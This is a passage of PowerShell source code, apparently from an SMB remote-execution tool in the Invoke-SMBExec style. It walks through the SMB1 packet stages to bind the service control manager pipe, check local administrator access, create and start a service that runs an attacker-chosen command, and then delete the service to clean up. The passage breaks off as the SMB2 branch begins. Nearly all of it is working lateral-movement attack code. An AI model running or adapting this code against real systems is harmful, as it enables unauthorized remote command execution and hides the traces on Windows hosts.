$packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'CreateAndXRequest' - } - - 'CreateAndXRequest' - { - $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl - $SMB_tree_ID = $SMB_client_receive[28,29] - $packet_SMB_header = New-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'RPCBind' - } - - 'RPCBind' - { - $SMB_FID = $SMB_client_receive[42,43] - $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'OpenSCManagerW' - } - - 'ReadAndXRequest' - { - Start-Sleep -m $Sleep - $packet_SMB_header = New-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBReadAndXRequest $SMB_FID - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = $SMB_client_stage_next - } - - 'OpenSCManagerW' - { - $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'CheckAccess' - } - - 'CheckAccess' - { - - if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') - { - $SMB_service_manager_context_handle = $SMB_client_receive[88..107] - - if($SMB_execute) - { - Write-Verbose "$output_username is a local administrator on $Target" - $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - - if($SCM_data.Length -lt $SMB_split_index) - { - $SMB_client_stage = 'CreateServiceW' - } - else - { - $SMB_client_stage = 'CreateServiceW_First' - } - - } - else - { - Write-Output "$output_username is a local administrator on $Target" - $SMB_close_service_handle_stage = 2 - $SMB_client_stage = 'CloseServiceHandle' - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00') - { - Write-Output "$output_username is not a local administrator or does not have required privilege on $Target" - $SMBExec_failed = $true - } - else - { - Write-Output "Something went wrong with $Target" - $SMBExec_failed = $true - } - - } - - 'CreateServiceW' - { - $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'StartServiceW' - } - - 'CreateServiceW_First' - { - $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) - $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] - $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first - $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) - $SMB_split_index_tracker = $SMB_split_index - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($SMB_split_stage_final -le 2) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_split_stage = 2 - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Middle' - { - $SMB_split_stage++ - $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] - $SMB_split_index_tracker += $SMB_split_index - $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle - $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($SMB_split_stage -ge $SMB_split_stage_final) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Last' - { - $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x48 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] - $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'StartServiceW' - } - - 'StartServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00') - { - Write-Verbose "Service $SMB_service created on $Target" - $SMB_service_context_handle = $SMB_client_receive[92..111] - $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - Write-Verbose "Trying to execute command on $Target" - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'DeleteServiceW' - } - elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00') - { - Write-Output "Service $SMB_service creation failed on $Target" - $SMBExec_failed = $true - } - else - { - Write-Output "Service creation fault context mismatch" - $SMBExec_failed = $true - } - - } - - 'DeleteServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00') - { - Write-Output "Command executed with service $SMB_service on $Target" - } - elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00') - { - Write-Output "Service $SMB_service failed to start on $Target" - } - - $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'CloseServiceHandle' - $SMB_close_service_handle_stage = 1 - } - - 'CloseServiceHandle' - { - if($SMB_close_service_handle_stage -eq 1) - { - Write-Verbose "Service $SMB_service deleted on $Target" - $SMB_close_service_handle_stage++ - $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle - } - else - { - $SMB_client_stage = 'CloseRequest' - $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle - } - $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - } - - 'CloseRequest' - { - $packet_SMB_header = New-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBCloseRequest 0x00,0x40 - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'TreeDisconnect' - } - - 'TreeDisconnect' - { - $packet_SMB_header = New-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBTreeDisconnectRequest - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'Logoff' - } - - 'Logoff' - { - $packet_SMB_header = New-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBLogoffAndXRequest - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'Exit' - } - - } - - if($SMBExec_failed) - { - BREAK SMB_execute_loop - } - - } - - } - else - { - - $SMB_client_stage = 'TreeConnect' - - while ($SMB_client_stage -ne 'exit') - { - - switch ($SMB_client_stage) - { - - 'TreeConnect' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - 